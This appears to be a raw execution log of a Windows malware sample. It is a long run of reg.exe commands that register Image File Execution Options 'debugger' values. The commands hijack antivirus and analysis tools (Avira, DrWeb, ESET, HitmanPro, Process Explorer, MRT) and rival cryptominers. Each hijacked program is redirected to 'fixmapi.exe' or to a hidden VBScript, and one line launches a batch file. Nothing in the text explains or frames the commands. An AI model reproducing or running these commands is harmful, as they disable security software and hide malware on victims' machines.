'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avz.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Panda_URL_Filtering.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpybotSD.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rthdcpd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dll32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sound.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemExplorer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msrtn32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWelcome.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTools.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDSysRepair.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShell.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDRootAlyzer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDScan.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sitehelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\romserver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrlC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchose.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updater.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\host32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mworker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicroMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rfusclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vercls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.SB.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reminder.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Fiddlere.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SmadavProtect32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waspwing.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wizard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WMIC.exe.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\debugger" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchProtocolHos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devencl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VIRITSVC.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MONITOR.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MtxHotPlugService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qpis.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iddlen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdogWare.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\dedka.bat" "
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
